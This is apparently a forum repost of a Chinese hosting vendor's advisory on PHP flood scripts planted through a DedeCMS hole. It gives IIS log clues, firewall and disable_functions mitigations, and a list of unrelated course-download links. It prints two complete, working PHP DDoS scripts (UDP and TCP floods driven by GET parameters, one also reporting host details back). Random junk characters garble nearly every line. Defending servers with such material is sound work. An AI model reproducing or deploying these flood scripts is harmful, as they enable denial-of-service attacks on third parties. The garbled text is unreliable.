据星外科技原创ip策略,总结DEDECMS php对外发包引发服务器崩溃的终极解决方法,希望可以帮助客户解决服务器问题,让网站运行的更好
" h% b! ]/ v6 u$ w! B 一､php对外发包分析
' _5 v; V6 D7 W. i) [, O4 |2 Y/ Y 用php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:+ ~+ m4 F9 B4 \- T3 g
' i1 o9 R) h* _" N5 d9 h 以下是代码片段:
. C9 _( m! }9 P. K/ p $packets = 0;
- f* Q" ]+ z* }# e8 ` $ip = $_GET['ip'];0 {& H, b) k" b8 e- j, e8 Q
$rand = $_GET['port'];/ G h' ~ H8 @' `
set_time_limit(0);( M- d: i2 ^( j' w
ignore_user_abort(FALSE);
# O2 w/ K' Y `9 d+ ? $exec_time = $_GET['time'];
- v" R5 I/ P3 b- A $time = time();
6 A& l t3 i* \* s6 J9 B& B print 'Flooded: $ip on port $rand
; M3 |( f& B! H/ y% i8 P: ^ ';
9 W% m+ ^5 K1 p6 K) g $max_time = $time+$exec_time;3 ~& r" U3 `! s! m: b# g
for($i=0;$i<65535;$i++){
; g% Q" v& a1 u, a $out .= 'X';; l, q" p+ N% v; X
}
' Y6 v% ~; V/ s) L+ J3 @3 l8 k while(1){% J2 \" F1 Z( a
$packets++;
. [. C: E# K- @+ \+ J8 ? if(time() > $max_time){
8 a1 C4 L3 u' P, d/ O" j break;5 X* @9 D2 \# @
}
; y: ?3 f- |7 Y+ y/ r* h $fp = fsockopen('udp://$ip', $rand, $errno, $errstr, 5);
3 o y' z% Y+ b: ]' K if($fp){
0 Q6 B, `3 p ~, k fwrite($fp, $out);( E6 [$ i$ S% }( p
fclose($fp);
2 m- N( `$ S. @- i }
' f- g) `, a% X6 P5 m& G }- s0 G; M! h3 U9 F
echo 'Packet complete at '.time('h:i:s').' with
! P' p& j+ t6 ]( Q, V0 K $packets (' . round(($packets*65)/1024, 2) . ' mB) packets averaging '.
, [2 p+ s9 V8 N& r5 g round($packets/$exec_time, 2) . ' packets/s \n';
* I; l" v7 l2 @* J. t ?>) c, Q4 I# L9 o: \) n
% s0 M9 x: r9 }& `, d5 \' f 二､表现特征
/ J9 I+ {- O& v9 O3 j 一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是服务器不断收到大量数据包.
% E0 I4 L( A0 u+ X) k0 f0 j. C) y 近期由于DEDECMS出现漏洞而导致大量服务器出现这个问题.0 n) m* ]* A2 c& a
如何快速找到这些站?
+ ?4 |+ N& T* j) B 你可以打开日志
: A& A. N( f0 \+ M. R# V5 X8 z C:WindowsSystem32LogFilesHTTPERRhttperr...log,打开今天时间的文件,
4 |5 b6 W9 F" y7 s+ ?3 { 里面有类似这样的记录:
; Z! E5 F. h6 u+ W 2011-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_1
9 u% @- E+ @& I% Q 最后三项783 Disabled 30_FreeHost_15 H8 S$ C0 }# H0 v; D. A. r
783就是这个站在IIS中的ID1 f; s% E6 i3 H5 a6 E
30_FreeHost_1就是所在池 6 s: D; |2 d+ i) d9 ]5 M! S1 [
1 k5 x, G- x# k2 B1 W 三､解决办法
& I$ \, Q" A J% u 1.按上述找到这个网站后停止它.或停止池,并重启IIS.3 `0 p, u- } \$ k# Z: m
2.在IP策略,或防火墙中,禁止所有udp向外发送: A4 @% z4 X( X8 u6 O" O
在星外最新版本的安全包中,已带有4.0版本的IP策略【下载safe包】,您导入后就直接可以限制了外发的UDP包｡下载这个包,之后导入安全策略｡但这个策略并没有关闭DNS端口,部分攻击还是有效.
, }6 l: |, s4 H# }& { 为了解决这个问题,你也可以调整IP策略,限制udp只能访问特定的DNS服务器IP,如8.8.8.8,除非黑客攻击这个IP,不然攻击也是无效的,你可以在网卡DNS中设置一个你才知道的DNS IP,并且不要公开,然后调用IP策略中的udp open部分就可以解决.(打开IP策略的属性,双击open,将open中的两条udp记录删除任意一条,在保留的这条中,双击,改成 地址从源地址 任何地址 到目标地址'特定IP 这个IP就是设置为你自己的DNS IP,如8.8.8.8' 保存后就行了)7 V* T Q$ {) V: T5 w
在2011-4-27,我们上传了新的安全包,里面有一个'星外虚拟主机管理平台IP策略关闭所有UDP端口用.ipsec'文件,您可以导入它并启用,就可以关闭所有udp端口,就可以完全防止这类攻击,但是,这个策略由于关闭了DNS端口,会造成的这台服务器上无法用IE访问任何域名,因此,用户的采集功能也就用不了.(同样,如果在主控网站上用了这个策略,就会造成的受控自检不通过,因为解析不了域名,另外,部分用户反映此策略会造成的mysql不正常), T$ L' r+ U: M" j
2 Y5 U# q7 l# \3 o* c 3.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词(其他关键词可以删除.)4 a% u( l- T& d8 M5 M& E& B
4.也可以直接禁止上面的代码,如改winphp.ini后重启IIS$ \# R6 u' A( k9 s
ignore_user_abort = On k. _# I: h& G
(注意前面的;号要删除)
: I8 W H9 ]) U" P2 D disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
! `0 U2 z- _# J 在后面加上* r( l8 K% ~; B4 v E
fsockopen,set_time_limit% V/ u# J. |5 T# o
但这样会造成很多php程序都不正常.
: J8 K- o( ~+ i8 I 另外,这也表明你的服务器安全做得不错,如果能入侵.黑客就直接提权了,还DOS做什么?
9 L" m8 q, J, l4 o. ?: m0 q B) K( E1 \5 `
近期已有新的基于TCP攻击的PHPDDOS代码如下:9 v2 v* S+ P9 r6 B* R6 C
0 ?" G! G a) Y6 T6 q2 c2 d
+ f& `3 S" q7 p$ g4 A4 D6 d 以下是代码片段:
# y6 b+ H( _% a4 C0 R$ }6 m6 v set_time_limit(999999);
4 h6 ?# R* @/ Q) j+ T1 ?( \* D: l) F $host = $_GET['host'];
% h/ w! c I8 ? $port = $_GET['port'];
/ m% r' H* d+ y. G7 { $exec_time = $_GET['time'];
' V) s! D2 f7 @/ n L( G $packets = 64;0 T6 @2 ?6 P1 W1 U* }: `+ A
ignore_user_abort(True);
# w* O: F; K7 q9 E# O if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){3 V- |/ Q3 l, w& p$ k, S
if (StrLen($_GET['rat'])<>0){
. O, k2 e2 ^& z echo $_GET['rat'].$_SERVER['HTTP_HOST'].'|'.GetHostByName($_SERVER['SERVER_NAME']).'|'.. M- \" j7 u9 k/ F; {' B' x
php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
' d& h$ e, |; @- p' |) P$ E" F exit;
/ _+ }+ r5 C$ p; w }% o. x1 A- _7 B
exit;
0 c6 _ e8 z* I/ X- w0 `% v8 L! d6 K }" U; ]# a {2 G0 v0 b! U: H) J
$max_time = time()+$exec_time;/ `: o: U* @# C; t& y
while(1){4 C9 t& [" @! }( D8 z" g9 b
$packets++;
2 O, r2 @# ?. o6 G: Y( x9 i" B if(time() > $max_time or $exec_time != 69){; a0 w, y( l M* b
break;
J* B: X8 T, H u. ^+ z z, z }- x! l; w( m& k* f& m- f* ?" d
$fp = fsockopen('tcp://$host', $port, $errno, $errstr, 0);6 i) O: I3 y8 K; Q/ h% x/ q
}
% w4 k! Q$ n' x, T: Q ?>
- [; A5 d0 B, p9 s . q; [+ r4 ^) [
同样,可以采有以下解决办法:) o! B7 C7 f' a V
1.也可以直接禁止上面的代码,如改winphp.ini后重启IIS
& L/ V/ O6 J4 z/ ^- g ignore_user_abort = On
8 a0 |" _' b" e! W2 c% |4 S, X+ a (注意前面的;号要删除)
+ y! P- ~9 @- b disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,( b- q/ y x3 I- Z1 v
在后面加上
) a7 c: a" z6 o( q1 B: K& q0 e) _ fsockopen,set_time_limit0 K+ E" ~& v: b6 p
但这样会造成很多php程序都不正常. 如果您是IDC,给客户提供空间的,禁用函数可能导致客户程序无法运行,所以一般不要用此办法2 s! f% O+ @& i
2.在IP策略中禁止所有外访的TCP数据包,但这样会造成的采集功能无效,也不能用在主控服务器上｡
& u( ]* e0 \# ]+ w! ?+ W0 |/ `9 F9 c 3.在服务器要用关键词tcp:或udp:搜索所有php类文件,找到攻击文件,删除它｡ |
所有IT类厂商认证考试题库下载
【新盟教育】2023最新华为HCIA全套视频合集【网工基础全覆盖】---国sir公开课合集
【新盟教育】网工小白必看的！2023最新版华为认证HCIA Datacom零基础全套实战课
原创_超融合自动化运维工具cvTools
重量级~~30多套JAVA就业班全套 视频教程（请尽快下载，链接失效后不补）
链接已失效【超过几百G】EVE 国内和国外镜像 全有了 百度群分享
某linux大佬，积累多年的电子书(约300本)
乾颐堂现任明教教主Python完整版
乾颐堂 教主技术进化论 2018-2019年 最新31-50期合集视频（各种最新技术杂谈视频）
Python学习视频 0起点视频 入门到项目实战篇 Python3.5.2视频教程 共847集 能学102天
约21套Python视频合集 核心基础视频教程（共310G,已压缩）
最新20180811录制 IT爱好者-清风羽毛 - 网络安全IPSec VPN实验指南视频教程
最新20180807录制EVE开机自启动虚拟路由器并桥接物理网卡充当思科路由器
[复制链接]
